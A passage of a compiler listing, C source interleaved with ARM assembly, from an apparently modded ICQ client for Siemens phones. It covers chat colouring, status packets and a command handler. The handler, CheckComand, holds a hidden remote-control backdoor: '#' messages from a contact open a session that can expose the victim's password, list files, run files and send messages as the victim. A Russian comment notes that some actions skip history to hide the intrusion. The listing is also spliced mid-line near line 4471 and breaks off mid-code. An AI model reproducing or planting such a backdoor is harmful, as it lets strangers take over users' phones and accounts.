\ 00000048 330000BA BLT ??DrawAck_3 4232 { 4233 if (!(p->acked&4)) \ 0000004C 040095E5 LDR R0,[R5, #+4] \ 00000050 040010E3 TST R0,#0x4 \ 00000054 3000001A BNE ??DrawAck_3 4234 { 4235 ExtractEditControl(data,j,&ec); \ 00000058 10208DE2 ADD R2,SP,#+16 \ 0000005C 0710A0E1 MOV R1,R7 \ 00000060 0400A0E1 MOV R0,R4 \ 00000064 690100EF SWI +361 4236 PrepareEditCOptions(&ec_options); \ 00000068 0D00A0E1 MOV R0,SP \ 0000006C C80100EF SWI +456 4237 if (p->acked) \ 00000070 040095E5 LDR R0,[R5, #+4] \ 00000074 000050E3 CMP R0,#+0 \ 00000078 0400000A BEQ ??DrawAck_4 4238 { 4239 if (p->acked==1) \ 0000007C 010050E3 CMP R0,#+1 4240 color=ACK_COLOR; //Зеленый \ 00000080 E0119805 LDREQ R1,[R8, #+480] \ 00000084 1100000A BEQ ??DrawAck_5 4241 else 4242 color=I_COLOR; \ ??DrawAck_6: \ 00000088 B01198E5 LDR R1,[R8, #+432] \ 0000008C 0F0000EA B ??DrawAck_5 4243 } 4244 else 4245 { 4246 if (p->ID==0xFFFFFFFF) \ ??DrawAck_4: \ 00000090 080095E5 LDR R0,[R5, #+8] \ 00000094 010070E3 CMN R0,#+1 \ 00000098 0B00001A BNE ??DrawAck_7 4247 color=(p->type&0x10)?(((p->type&0x0F)==1)?O_I_COLOR:O_TO_COLOR):(((p->type&0x0F)==1)?I_COLOR:TO_COLOR); \ 0000009C 0C0095E5 LDR R0,[R5, #+12] \ 000000A0 100010E3 TST R0,#0x10 \ 000000A4 0F0000E2 AND R0,R0,#0xF \ 000000A8 0300000A BEQ ??DrawAck_8 \ 000000AC 010050E3 CMP R0,#+1 \ 000000B0 C0119815 LDRNE R1,[R8, #+448] \ 000000B4 BC119805 LDREQ R1,[R8, #+444] \ 000000B8 040000EA B ??DrawAck_5 \ ??DrawAck_8: \ 000000BC 010050E3 CMP R0,#+1 \ 000000C0 F0FFFF0A BEQ ??DrawAck_6 \ 000000C4 B41198E5 LDR R1,[R8, #+436] \ 000000C8 000000EA B ??DrawAck_5 4248 else 4249 color=UNACK_COLOR; //Серый \ ??DrawAck_7: \ 000000CC E41198E5 LDR R1,[R8, #+484] 4250 } 4251 SetPenColorToEditCOptions(&ec_options,color/*p->type==1?I_COLOR:TO_COLOR*/); \ ??DrawAck_5: \ 000000D0 0D00A0E1 MOV R0,SP \ 000000D4 CC0100EF SWI +460 4252 SetFontToEditCOptions(&ec_options,(p->type&0x10)?O_ED_H_FONT_SIZE:ED_H_FONT_SIZE); \ 000000D8 0C0095E5 LDR R0,[R5, #+12] 4253 CopyOptionsToEditControl(&ec,&ec_options); 4254 StoreEditControl(data,j,&ec); 4255 p->acked|=4; //Обработали 4256 dorefresh=1; \ 000000DC 0160A0E3 MOV R6,#+1 \ 000000E0 100010E3 TST R0,#0x10 \ 000000E4 D8119815 LDRNE R1,[R8, #+472] \ 000000E8 0D00A0E1 MOV R0,SP \ 000000EC CC119805 LDREQ R1,[R8, #+460] \ 000000F0 CA0100EF SWI +458 \ 000000F4 0D10A0E1 MOV R1,SP \ 000000F8 10008DE2 ADD R0,SP,#+16 \ 000000FC CE0100EF SWI +462 \ 00000100 10208DE2 ADD R2,SP,#+16 \ 00000104 0710A0E1 MOV R1,R7 \ 00000108 0400A0E1 MOV R0,R4 \ 0000010C 6A0100EF SWI +362 \ 00000110 040095E5 LDR R0,[R5, #+4] \ 00000114 040080E3 ORR R0,R0,#0x4 \ 00000118 040085E5 STR R0,[R5, #+4] 4257 } 4258 } 4259 j+=2; 4260 p=p->next; \ ??DrawAck_3: \ 0000011C 005095E5 LDR R5,[R5, #+0] \ 00000120 027087E2 ADD R7,R7,#+2 4261 } \ 00000124 000055E3 CMP R5,#+0 \ 00000128 C5FFFF1A BNE ??DrawAck_2 4262 if (IsGuiOnTop(edchat_id)&&dorefresh) RefreshGUI(); \ ??DrawAck_1: \ 0000012C 1C0398E5 LDR R0,[R8, #+796] \ 00000130 350100EF SWI +309 \ 00000134 000050E3 CMP R0,#+0 \ 00000138 00005613 CMPNE R6,#+0 \ 0000013C 0000000A BEQ ??DrawAck_0 \ 00000140 960100EF SWI +406 \ ??DrawAck_0: \ 00000144 3CD08DE2 ADD SP,SP,#+60 ;; stack cleaning \ 00000148 F081BDE8 POP {R4-R8,PC} ;; return 4263 } 4264 \ In segment CODE, align 4, keep-with-next 4265 void ask_my_info(void) 4266 { 4267 /* TPKT *p; 4268 CLIST *t; 4269 p=malloc(sizeof(PKT)); 4270 p->pkt.uin=UIN; 4271 p->pkt.type=T_REQINFOSHORT; 4272 p->pkt.data_len=0; 4273 // AddStringToLog(t,0x01,"Request info...",I_str); 4274 SUBPROC((void *)SendAnswer,0,p);*/ 4275 } \ ask_my_info: \ 00000000 1EFF2FE1 BX LR ;; return 4276 \ In segment CODE, align 4, keep-with-next 4277 void set_my_status(void) 4278 { \ set_my_status: \ 00000000 00402DE9 PUSH {LR} 4279 TPKT *p; 4280 p=malloc(sizeof(PKT)+1); \ 00000004 0900A0E3 MOV R0,#+9 \ 00000008 140000EF SWI +20 4281 p->pkt.uin=0; // Никому; поле нужно проигнорировать на сервере \ 0000000C 0010A0E3 MOV R1,#+0 \ 00000010 001080E5 STR R1,[R0, #+0] 4282 p->pkt.type=T_MY_STATUS_CH; // Тип пакета: изменение статуса \ 00000014 0F10A0E3 MOV R1,#+15 \ 00000018 B410C0E1 STRH R1,[R0, #+4] 4283 p->pkt.data_len=1; // Длина пакета: 1 байт \ 0000001C 0110A0E3 MOV R1,#+1 \ 00000020 B610C0E1 STRH R1,[R0, #+6] 4284 p->data[0]=CurrentStatus; \ 00000024 18109FE5 LDR R1,??set_my_status_0 ;; S_ICONS + 712 4285 SUBPROC((void *)SendAnswer,0,p); \ 00000028 0020A0E1 MOV R2,R0 \ 0000002C 001091E5 LDR R1,[R1, #+0] \ 00000030 0810C0E5 STRB R1,[R0, #+8] \ 00000034 ........ LDR R0,??DataTable78 ;; SendAnswer \ 00000038 0010A0E3 MOV R1,#+0 \ 0000003C 710100EF SWI +369 4286 } \ 00000040 0080BDE8 POP {PC} ;; return \ ??set_my_status_0: \ 00000044 ........ DC32 S_ICONS + 712 4287 4288 extern int Send0; 4289 \ In segment CODE, align 4, keep-with-next 4290 void set_my_xstatus(void) 4291 { \ set_my_xstatus: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 4292 #ifdef NEWSGOLD 4293 if(Is_Id3tag_Enabled) \ 00000004 ........ LDR R4,??DataTable89 ;; SendAnswer \ 00000008 ........ LDR R10,??DataTable86 ;; S_ICONS \ 0000000C ........ LDR R8,??DataTable81 ;; CurrentXStatus \ 00000010 0CD04DE2 SUB SP,SP,#+12 \ 00000014 74029AE5 LDR R0,[R10, #+628] \ 00000018 1A50A0E3 MOV R5,#+26 \ 0000001C 0160A0E3 MOV R6,#+1 \ 00000020 1670A0E3 MOV R7,#+22 \ 00000024 0090A0E3 MOV R9,#+0 \ 00000028 000050E3 CMP R0,#+0 \ 0000002C 3C00000A BEQ ??set_my_xstatus_0 4294 { 4295 if(CurrentXStatus!=11) \ 00000030 000098E5 LDR R0,[R8, #+0] \ 00000034 0B0050E3 CMP R0,#+11 \ 00000038 7200000A BEQ ??set_my_xstatus_1 4296 { 4297 #endif 4298 TPKT *p; 4299 char *s1; 4300 char *s2; 4301 int l1; 4302 int l2; 4303 p=malloc(sizeof(PKT)+1); \ 0000003C 0900A0E3 MOV R0,#+9 \ 00000040 140000EF SWI +20 \ 00000044 00A0A0E1 MOV R10,R0 4304 p->pkt.uin=0; // Никому; поле нужно проигнорировать на сервере \ 00000048 00908AE5 STR R9,[R10, #+0] 4305 p->pkt.type=T_MY_XSTATUS_CH; // Тип пакета: изменение статуса \ 0000004C B470CAE1 STRH R7,[R10, #+4] 4306 p->pkt.data_len=1; // Длина пакета: 1 байт \ 00000050 B660CAE1 STRH R6,[R10, #+6] 4307 p->data[0]=CurrentXStatus; \ 00000054 000098E5 LDR R0,[R8, #+0] 4308 SUBPROC((void *)SendAnswer,0,p); \ 00000058 0A20A0E1 MOV R2,R10 \ 0000005C 0800CAE5 STRB R0,[R10, #+8] \ 00000060 0010A0E3 MOV R1,#+0 \ 00000064 0400A0E1 MOV R0,R4 \ 00000068 710100EF SWI +369 4309 s1=GetXStatusStr(CurrentXStatus*3+1,&l1); \ 0000006C 000098E5 LDR R0,[R8, #+0] \ 00000070 0D10A0E1 MOV R1,SP \ 00000074 800080E0 ADD R0,R0,R0, LSL #+1 \ 00000078 010080E2 ADD R0,R0,#+1 \ 0000007C ........ _BLF GetXStatusStr,??GetXStatusStr??rA \ 00000080 0060A0E1 MOV R6,R0 4310 s2=GetXStatusStr(CurrentXStatus*3+2,&l2); \ 00000084 000098E5 LDR R0,[R8, #+0] \ 00000088 04108DE2 ADD R1,SP,#+4 \ 0000008C 800080E0 ADD R0,R0,R0, LSL #+1 \ 00000090 020080E2 ADD R0,R0,#+2 \ 00000094 ........ _BLF GetXStatusStr,??GetXStatusStr??rA \ 00000098 0070A0E1 MOV R7,R0 4311 if ((!s1)||(!s2)) return; \ 0000009C 000056E3 CMP R6,#+0 \ 000000A0 00005713 CMPNE R7,#+0 \ 000000A4 F78FBD08 POPEQ {R0-R2,R4-R11,PC} 4312 p=malloc(sizeof(PKT)+l1+l2+1); \ 000000A8 00009DE5 LDR R0,[SP, #+0] \ 000000AC 04109DE5 LDR R1,[SP, #+4] \ 000000B0 000081E0 ADD R0,R1,R0 \ 000000B4 090080E2 ADD R0,R0,#+9 \ 000000B8 140000EF SWI +20 \ 000000BC 00A0A0E1 MOV R10,R0 4313 p->pkt.uin=0; \ 000000C0 00908AE5 STR R9,[R10, #+0] 4314 p->pkt.type=T_XTEXT_SET; \ 000000C4 B450CAE1 STRH R5,[R10, #+4] 4315 p->pkt.data_len=l1+l2+1; \ 000000C8 00009DE5 LDR R0,[SP, #+0] \ 000000CC 04109DE5 LDR R1,[SP, #+4] \ 000000D0 000081E0 ADD R0,R1,R0 \ 000000D4 010080E2 ADD R0,R0,#+1 \ 000000D8 B600CAE1 STRH R0,[R10, #+6] 4316 strncpy(p->data+0,s1,l1); \ 000000DC 00209DE5 LDR R2,[SP, #+0] \ 000000E0 0610A0E1 MOV R1,R6 \ 000000E4 08008AE2 ADD R0,R10,#+8 \ 000000E8 160100EF SWI +278 4317 p->data[l1]=0; \ 000000EC 00009DE5 LDR R0,[SP, #+0] 4318 strncpy(p->data+l1+1,s2,l2); \ 000000F0 0710A0E1 MOV R1,R7 \ 000000F4 0A0080E0 ADD R0,R0,R10 \ 000000F8 0890C0E5 STRB R9,[R0, #+8] \ 000000FC 00009DE5 LDR R0,[SP, #+0] \ 00000100 04209DE5 LDR R2,[SP, #+4] \ 00000104 0A0080E0 ADD R0,R0,R10 \ 00000108 090080E2 ADD R0,R0,#+9 \ 0000010C 160100EF SWI +278 4319 SUBPROC((void *)SendAnswer,0,p); \ 00000110 0A20A0E1 MOV R2,R10 \ 00000114 0010A0E3 MOV R1,#+0 \ 00000118 0400A0E1 MOV R0,R4 \ 0000011C 710100EF SWI +369 \ 00000120 F78FBDE8 POP {R0-R2,R4-R11,PC} 4320 #ifdef NEWSGOLD 4321 } 4322 else 4323 { 4324 tracktimer=0; 4325 GetTags(); 4326 } 4327 } 4328 else 4329 { 4330 TPKT *p; 4331 char *s1; 4332 char *s2; 4333 int l1; 4334 int l2; 4335 p=malloc(sizeof(PKT)+1); \ ??set_my_xstatus_0: \ 00000124 0900A0E3 MOV R0,#+9 \ 00000128 140000EF SWI +20 \ 0000012C 00B0A0E1 MOV R11,R0 4336 p->pkt.uin=0; // Никому; поле нужно проигнорировать на сервере \ 00000130 00908BE5 STR R9,[R11, #+0] 4337 p->pkt.type=T_MY_XSTATUS_CH; // Тип пакета: изменение статуса \ 00000134 B470CBE1 STRH R7,[R11, #+4] 4338 p->pkt.data_len=1; // Длина пакета: 1 байт \ 00000138 B660CBE1 STRH R6,[R11, #+6] 4339 p->data[0]=CurrentXStatus; \ 0000013C 000098E5 LDR R0,[R8, #+0] 4340 SUBPROC((void *)SendAnswer,0,p); \ 00000140 0B20A0E1 MOV R2,R11 \ 00000144 0800CBE5 STRB R0,[R11, #+8] \ 00000148 0010A0E3 MOV R1,#+0 \ 0000014C 0400A0E1 MOV R0,R4 \ 00000150 710100EF SWI +369 4341 s1=GetXStatusStr(CurrentXStatus*3+1,&l1); \ 00000154 000098E5 LDR R0,[R8, #+0] \ 00000158 0D10A0E1 MOV R1,SP \ 0000015C 800080E0 ADD R0,R0,R0, LSL #+1 \ 00000160 010080E2 ADD R0,R0,#+1 \ 00000164 ........ _BLF GetXStatusStr,??GetXStatusStr??rA \ 00000168 0060A0E1 MOV R6,R0 4342 s2=GetXStatusStr(CurrentXStatus*3+2,&l2); \ 0000016C 000098E5 LDR R0,[R8, #+0] \ 00000170 04108DE2 ADD R1,SP,#+4 \ 00000174 800080E0 ADD R0,R0,R0, LSL #+1 \ 00000178 020080E2 ADD R0,R0,#+2 \ 0000017C ........ _BLF GetXStatusStr,??GetXStatusStr??rA \ 00000180 0070A0E1 MOV R7,R0 4343 if ((!s1)||(!s2)) return; \ 00000184 000056E3 CMP R6,#+0 \ 00000188 00005713 CMPNE R7,#+0 \ 0000018C F78FBD08 POPEQ {R0-R2,R4-R11,PC} 4344 p=malloc(sizeof(PKT)+l1+l2+1); \ 00000190 00009DE5 LDR R0,[SP, #+0] \ 00000194 04109DE5 LDR R1,[SP, #+4] \ 00000198 000081E0 ADD R0,R1,R0 \ 0000019C 090080E2 ADD R0,R0,#+9 \ 000001A0 140000EF SWI +20 \ 000001A4 00B0A0E1 MOV R11,R0 4345 p->pkt.uin=0; \ 000001A8 00908BE5 STR R9,[R11, #+0] 4346 p->pkt.type=T_XTEXT_SET; \ 000001AC B450CBE1 STRH R5,[R11, #+4] 4347 p->pkt.data_len=l1+l2+1; \ 000001B0 00009DE5 LDR R0,[SP, #+0] \ 000001B4 04109DE5 LDR R1,[SP, #+4] \ 000001B8 000081E0 ADD R0,R1,R0 \ 000001BC 010080E2 ADD R0,R0,#+1 \ 000001C0 B600CBE1 STRH R0,[R11, #+6] 4348 strncpy(p->data+0,s1,l1); \ 000001C4 00209DE5 LDR R2,[SP, #+0] \ 000001C8 0610A0E1 MOV R1,R6 \ 000001CC 08008BE2 ADD R0,R11,#+8 \ 000001D0 160100EF SWI +278 4349 p->data[l1]=0; \ 000001D4 00009DE5 LDR R0,[SP, #+0] 4350 strncpy(p->data+l1+1,s2,l2); \ 000001D8 0710A0E1 MOV R1,R7 \ 000001DC 0B0080E0 ADD R0,R0,R11 \ 000001E0 0890C0E5 STRB R9,[R0, #+8] \ 000001E4 00009DE5 LDR R0,[SP, #+0] \ 000001E8 04209DE5 LDR R2,[SP, #+4] \ 000001EC 0B0080E0 ADD R0,R0,R11 \ 000001F0 090080E2 ADD R0,R0,#+9 \ 000001F4 160100EF SWI +278 4351 SUBPROC((void *)SendAnswer,0,p); \ 000001F8 0B20A0E1 MOV R2,R11 \ 000001FC 0010A0E3 MOV R1,#+0 \ 00000200 0400A0E1 MOV R0,R4 \ 00000204 710100EF SWI +369 4352 tracktimer=0; \ ??set_my_xstatus_1: \ 00000208 A4928AE5 STR R9,[R10, #+676] 4353 GetTags(); \ 0000020C ........ _BLF GetTags,??GetTags??rA \ 00000210 F78FBDE8 POP {R0-R2,R4-R11,PC} ;; return 4354 } 4355 #endif 4356 } 4357 #ifdef NEWSGOLD 4358 4359 \ In segment CODE, align 4, keep-with-next 4360 void set_my_xstatus2(void) 4361 { \ set_my_xstatus2: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 4362 TPKT *p; 4363 // char *s1; 4364 // char *s2; 4365 int l1; 4366 int l2; 4367 p=malloc(sizeof(PKT)+1); 4368 p->pkt.uin=0; // Никому; поле нужно проигнорировать на сервере 4369 p->pkt.type=T_MY_XSTATUS_CH; // Тип пакета: изменение статуса 4370 p->pkt.data_len=1; // Длина пакета: 1 байт 4371 p->data[0]=11; 4372 SUBPROC((void *)SendAnswer,0,p); \ 00000004 ........ LDR R6,??DataTable89 ;; SendAnswer 4373 // char *s1; 4374 char *sk2=malloc(256); 4375 // strcpy(s1, playing); 4376 // s1="Now playing:"; 4377 strcpy(sk2,teast2); 4378 l1=strlen(playing); \ 00000008 ........ LDR R9,??DataTable86 ;; S_ICONS \ 0000000C 04D04DE2 SUB SP,SP,#+4 \ 00000010 0900A0E3 MOV R0,#+9 \ 00000014 140000EF SWI +20 \ 00000018 0040A0E1 MOV R4,R0 \ 0000001C 0050A0E3 MOV R5,#+0 \ 00000020 005084E5 STR R5,[R4, #+0] \ 00000024 1600A0E3 MOV R0,#+22 \ 00000028 B400C4E1 STRH R0,[R4, #+4] \ 0000002C 0100A0E3 MOV R0,#+1 \ 00000030 B600C4E1 STRH R0,[R4, #+6] \ 00000034 0B00A0E3 MOV R0,#+11 \ 00000038 0800C4E5 STRB R0,[R4, #+8] \ 0000003C 0420A0E1 MOV R2,R4 \ 00000040 0010A0E3 MOV R1,#+0 \ 00000044 0600A0E1 MOV R0,R6 \ 00000048 710100EF SWI +369 \ 0000004C 400FA0E3 MOV R0,#+256 \ 00000050 140000EF SWI +20 \ 00000054 94109FE5 LDR R1,??set_my_xstatus2_0 ;; teast2 \ 00000058 0070A0E1 MOV R7,R0 \ 0000005C 1A0000EF SWI +26 \ 00000060 A98EA0E3 MOV R8,#+2704 \ 00000064 090088E0 ADD R0,R8,R9 \ 00000068 1B0000EF SWI +27 \ 0000006C 00A0A0E1 MOV R10,R0 4379 l2=strlen(sk2); \ 00000070 0700A0E1 MOV R0,R7 \ 00000074 1B0000EF SWI +27 \ 00000078 00B0A0E1 MOV R11,R0 4380 if ((!playing)||(!sk2)) return; \ 0000007C 000057E3 CMP R7,#+0 \ 00000080 F18FBD08 POPEQ {R0,R4-R11,PC} 4381 p=malloc(sizeof(PKT)+l1+l2+1); \ 00000084 0A008BE0 ADD R0,R11,R10 \ 00000088 090080E2 ADD R0,R0,#+9 \ 0000008C 140000EF SWI +20 \ 00000090 0040A0E1 MOV R4,R0 4382 p->pkt.uin=0; \ 00000094 005084E5 STR R5,[R4, #+0] 4383 p->pkt.type=T_XTEXT_SET; \ 00000098 1A00A0E3 MOV R0,#+26 \ 0000009C B400C4E1 STRH R0,[R4, #+4] 4384 p->pkt.data_len=l1+l2+1; \ 000000A0 0A008BE0 ADD R0,R11,R10 \ 000000A4 010080E2 ADD R0,R0,#+1 \ 000000A8 B600C4E1 STRH R0,[R4, #+6] 4385 strncpy(p->data+0,playing,l1); \ 000000AC 0A20A0E1 MOV R2,R10 \ 000000B0 091088E0 ADD R1,R8,R9 \ 000000B4 080084E2 ADD R0,R4,#+8 \ 000000B8 160100EF SWI +278 4386 p->data[l1]=0; \ 000000BC 04008AE0 ADD R0,R10,R4 \ 000000C0 0850C0E5 STRB R5,[R0, #+8] 4387 strncpy(p->data+l1+1,sk2,l2); \ 000000C4 0B20A0E1 MOV R2,R11 \ 000000C8 0710A0E1 MOV R1,R7 \ 000000CC 090080E2 ADD R0,R0,#+9 \ 000000D0 160100EF SWI +278 4388 mfree(sk2); \ 000000D4 0700A0E1 MOV R0,R7 \ 000000D8 150000EF SWI +21 4389 SUBPROC((void *)SendAnswer,0,p); \ 000000DC 0420A0E1 MOV R2,R4 \ 000000E0 0010A0E3 MOV R1,#+0 \ 000000E4 0600A0E1 MOV R0,R6 \ 000000E8 710100EF SWI +369 4390 // mfree(s1); 4391 // mfree(s2); 4392 } \ 000000EC F18FBDE8 POP {R0,R4-R11,PC} ;; return \ ??set_my_xstatus2_0: \ 000000F0 ........ DC32 teast2 4393 #endif \ In segment CODE, align 4, keep-with-next 4394 void to_develop(void) 4395 { 4396 if (silenthide) return; \ to_develop: \ 00000000 ........ LDR R0,??DataTable86 ;; S_ICONS \ 00000004 00402DE9 PUSH {LR} \ 00000008 B41290E5 LDR R1,[R0, #+692] \ 0000000C 000051E3 CMP R1,#+0 \ 00000010 0080BD18 POPNE {PC} 4397 gipc.name_to=ipc_xtask_name; \ 00000014 ........ LDR R1,??DataTable85 ;; `?` 4398 gipc.name_from=ipc_my_name; 4399 gipc.data=(void *)maincsm_id; 4400 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_SHOW_CSM,&gipc); \ 00000018 BC3080E2 ADD R3,R0,#+188 \ 0000001C FA2F81E2 ADD R2,R1,#+1000 \ 00000020 F21F81E2 ADD R1,R1,#+968 \ 00000024 C01080E5 STR R1,[R0, #+192] \ 00000028 641290E5 LDR R1,[R0, #+612] \ 0000002C BC2080E5 STR R2,[R0, #+188] \ 00000030 C41080E5 STR R1,[R0, #+196] \ 00000034 0220A0E3 MOV R2,#+2 \ 00000038 B010A0E3 MOV R1,#+176 \ 0000003C DE1C81E3 ORR R1,R1,#0xDE00 \ 00000040 0900A0E3 MOV R0,#+9 \ 00000044 420C80E3 ORR R0,R0,#0x4200 \ 00000048 000100EF SWI +256 4401 } \ 0000004C 0080BDE8 POP {PC} ;; return 4402 \ In segment CODE, align 4, keep-with-next 4403 void ReqAddMsgToChat(CLIST *t) 4404 { \ ReqAddMsgToChat: \ 00000000 70402DE9 PUSH {R4-R6,LR} 4405 if (edchat_id) \ 00000004 ........ LDR R5,??DataTable86 ;; S_ICONS \ 00000008 0040A0E1 MOV R4,R0 \ 0000000C 1C0395E5 LDR R0,[R5, #+796] \ 00000010 000050E3 CMP R0,#+0 \ 00000014 7080BD08 POPEQ {R4-R6,PC} 4406 { 4407 void *data=FindGUIbyId(edchat_id,NULL); \ 00000018 1C0395E5 LDR R0,[R5, #+796] \ 0000001C 0010A0E3 MOV R1,#+0 \ 00000020 090200EF SWI +521 \ 00000024 0060A0E1 MOV R6,R0 4408 { 4409 EDCHAT_STRUCT *ed_struct; 4410 ed_struct=EDIT_GetUserPointer(data); \ 00000028 DF0100EF SWI +479 4411 if (ed_struct) \ 0000002C 000050E3 CMP R0,#+0 \ 00000030 7080BD08 POPEQ {R4-R6,PC} 4412 { 4413 if (ed_struct->ed_contact==t) \ 00000034 000090E5 LDR R0,[R0, #+0] \ 00000038 040050E1 CMP R0,R4 \ 0000003C 7080BD18 POPNE {R4-R6,PC} 4414 { 4415 if (EDIT_IsBusy(data)) \ 00000040 0600A0E1 MOV R0,R6 \ 00000044 1C0200EF SWI +540 \ 00000048 000050E3 CMP R0,#+0 \ 0000004C 0400000A BEQ ??ReqAddMsgToChat_0 4416 { 4417 t->req_add=1; \ 00000050 0100A0E3 MOV R0,#+1 \ 00000054 840084E5 STR R0,[R4, #+132] 4418 #ifdef EVILFOX 4419 time_to_stop_t9=2; 4420 #else 4421 time_to_stop_t9=3; \ 00000058 0300A0E3 MOV R0,#+3 \ 0000005C B40385E5 STR R0,[R5, #+948] \ 00000060 7080BDE8 POP {R4-R6,PC} 4422 #endif 4423 } 4424 else 4425 { 4426 AddMsgToChat(data); \ ??ReqAddMsgToChat_0: \ 00000064 0600A0E1 MOV R0,R6 \ 00000068 ........ BL AddMsgToChat 4427 DirectRedrawGUI_ID(edchat_id); \ 0000006C 1C0395E5 LDR R0,[R5, #+796] \ 00000070 400100EF SWI +320 4428 } 4429 } 4430 } 4431 } 4432 } 4433 } \ 00000074 7080BDE8 POP {R4-R6,PC} ;; return 4434 4435 GBSTMR develop; 4436 \ In segment CODE, align 4, keep-with-next 4437 void begin_to_develop() 4438 { \ begin_to_develop: \ 00000000 00402DE9 PUSH {LR} 4439 if(IsUnlocked()) \ 00000004 430000EF SWI +67 \ 00000008 000050E3 CMP R0,#+0 \ 0000000C 0100000A BEQ ??begin_to_develop_0 4440 to_develop(); \ 00000010 0040BDE8 POP {LR} ;; Pop \ 00000014 ........ B to_develop ;; tailcall 4441 else 4442 GBS_StartTimerProc(&develop, 100, begin_to_develop); \ ??begin_to_develop_0: \ 00000018 0C209FE5 LDR R2,??begin_to_develop_1 ;; begin_to_develop \ 0000001C 0C009FE5 LDR R0,??begin_to_develop_1+0x4 ;; S_ICONS + 10048 \ 00000020 6410A0E3 MOV R1,#+100 \ 00000024 4D0000EF SWI +77 4443 } \ 00000028 0080BDE8 POP {PC} ;; return \ ??begin_to_develop_1: \ 0000002C ........ DC32 begin_to_develop \ 00000030 ........ DC32 S_ICONS + 10048 4444 4445 4446 4447 //----------------------------- CHECK COMMANDS -----------------------------// 4448 4449 4450 int comanda; 4451 4452 char requests1[]="Sending online time..."; 4453 char requests2[]="Sending msg info..."; 4454 char requests3[]="Sending battery info..."; 4455 char requests4[]="Sending mod info..."; 4456 char requests6[]="Sending offline info..."; 4457 char mod_info[264]; 4458 #ifdef NEWSGOLD 4459 #ifdef ELKA 4460 #define PLATFORM "Platform: ELKA" 4461 #else 4462 #define PLATFORM "Platform: NEWSGOLD" 4463 #endif 4464 #else 4465 #define PLATFORM "Platform: SGOLD" 4466 #endif 4467 \ In segment CODE, align 4, keep-with-next 4468 void CheckComand(char *txt, CLIST *t) 4469 { \ CheckComand: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 4470 comanda=1; \ 00000004 ........ LDR R5,??DataTable93 ;; S_ICONS 4471 sprintf(mod_info,"mod by Evilfox,kluchnik,windes based on revision 2058, mod date: %s at %s ",__DATE__,__TIME__); \ 00000008 ........ LDR R6,??DataTable88 ;; `?remoteAccess=1; \ 00000070 0100A0E3 MOV R0,#+1 \ 00000074 740084E5 STR R0,[R4, #+116] 4481 TPKT *p; 4482 char msg[256]; 4483 sprintf(msg,"Session start, remote access=%d",t->remoteAccess); \ 00000078 0120A0E3 MOV R2,#+1 \ 0000007C 421E86E2 ADD R1,R6,#+1056 \ ??CheckComand_2: \ 00000080 1C008DE2 ADD R0,SP,#+28 \ 00000084 160000EF SWI +22 4484 p=malloc(sizeof(PKT)+strlen(msg)+1); \ 00000088 1C008DE2 ADD R0,SP,#+28 \ 0000008C 1B0000EF SWI +27 \ 00000090 090080E2 ADD R0,R0,#+9 \ 00000094 140000EF SWI +20 \ 00000098 0050A0E1 MOV R5,R0 4485 p->pkt.uin=t->uin; \ 0000009C 0C0094E5 LDR R0,[R4, #+12] \ 000000A0 000085E5 STR R0,[R5, #+0] 4486 p->pkt.type=T_SENDMSG; \ 000000A4 B490C5E1 STRH R9,[R5, #+4] 4487 p->pkt.data_len=strlen(msg); \ 000000A8 1C008DE2 ADD R0,SP,#+28 \ 000000AC 1B0000EF SWI +27 \ 000000B0 B600C5E1 STRH R0,[R5, #+6] 4488 strcpy(p->data,msg); \ 000000B4 1C108DE2 ADD R1,SP,#+28 \ 000000B8 080085E2 ADD R0,R5,#+8 \ 000000BC 1A0000EF SWI +26 4489 SUBPROC((void *)SendAnswer,0,p); \ 000000C0 0520A0E1 MOV R2,R5 \ ??CheckComand_3: \ 000000C4 0010A0E3 MOV R1,#+0 \ 000000C8 0700A0E1 MOV R0,R7 \ 000000CC 710100EF SWI +369 4490 return; \ 000000D0 500100EA B ??CheckComand_4 4491 } 4492 4493 if(!strncmp(txt,"#c",2)) \ ??CheckComand_1: \ 000000D4 0220A0E3 MOV R2,#+2 \ 000000D8 D21F8FE2 ADR R1,??CheckComand_0+0x4 ;; "#c" \ 000000DC 0B00A0E1 MOV R0,R11 \ 000000E0 150100EF SWI +277 \ 000000E4 000050E3 CMP R0,#+0 \ 000000E8 0400001A BNE ??CheckComand_5 4494 { 4495 comanda=0; \ 000000EC B88385E5 STR R8,[R5, #+952] 4496 t->remoteAccess=0; \ 000000F0 748084E5 STR R8,[R4, #+116] 4497 TPKT *p; 4498 char msg[256]; 4499 sprintf(msg,"Session close, remote access=%d",t->remoteAccess); \ 000000F4 0020A0E3 MOV R2,#+0 \ 000000F8 401E86E2 ADD R1,R6,#+1024 \ 000000FC DFFFFFEA B ??CheckComand_2 4500 p=malloc(sizeof(PKT)+strlen(msg)+1); 4501 p->pkt.uin=t->uin; 4502 p->pkt.type=T_SENDMSG; 4503 p->pkt.data_len=strlen(msg); 4504 strcpy(p->data,msg); 4505 SUBPROC((void *)SendAnswer,0,p); 4506 return; 4507 } 4508 4509 /* 4510 #s - запустить сессию,при успешном запуске придет сообщение "Session start, remote access=1" 4511 #c - закрыть сессию,"Session close, remote access=0" 4512 #echo mess - ShowMSG(1,(int)mess); 4513 #echochat mess - кинуть сообщение mess в текущй чат 4514 #echotoallchat mess - кинуть сообщение mess во все чаты онлайн контактов // в историю сохранятся не будет;) ибо не нужны свидетельсва вторжения;) 4515 #showpwd - у контакта вылезет окошко с его пароль вида: "Не забывайте свой пароль:пароль")))) 4516 #vibra num - вибрировать num раз,если писать просто #vibra - вибрировать один раз 4517 #pikoff - генерация пикофффа))))) 4518 #getflist path - загрузить список файлов по указанному пути,например, #getflist 4:\\ 4519 #runfile path - запустить файл path - #runfile 4:\\naticq.elf 4520 #getcl - получить список онлайн контактов у контакта(name(uin)) 4521 #sendcl uin mess - отправится сообщение контакту uin от контакта которому пишешь ;) 4522 */ 4523 if(txt[0]=='#' && t->remoteAccess) \ ??CheckComand_5: \ 00000100 0000DBE5 LDRB R0,[R11, #+0] \ 00000104 FFA0A0E3 MOV R10,#+255 \ 00000108 7FAC8AE3 ORR R10,R10,#0x7F00 \ 0000010C 230050E3 CMP R0,#+35 \ 00000110 2200001A BNE ??CheckComand_6 \ 00000114 740094E5 LDR R0,[R4, #+116] \ 00000118 000050E3 CMP R0,#+0 \ 0000011C 1F00000A BEQ ??CheckComand_6 4524 { 4525 4526 if(strstr(txt,"echo")) \ 00000120 FE1F86E2 ADD R1,R6,#+1016 \ 00000124 0B00A0E1 MOV R0,R11 \ 00000128 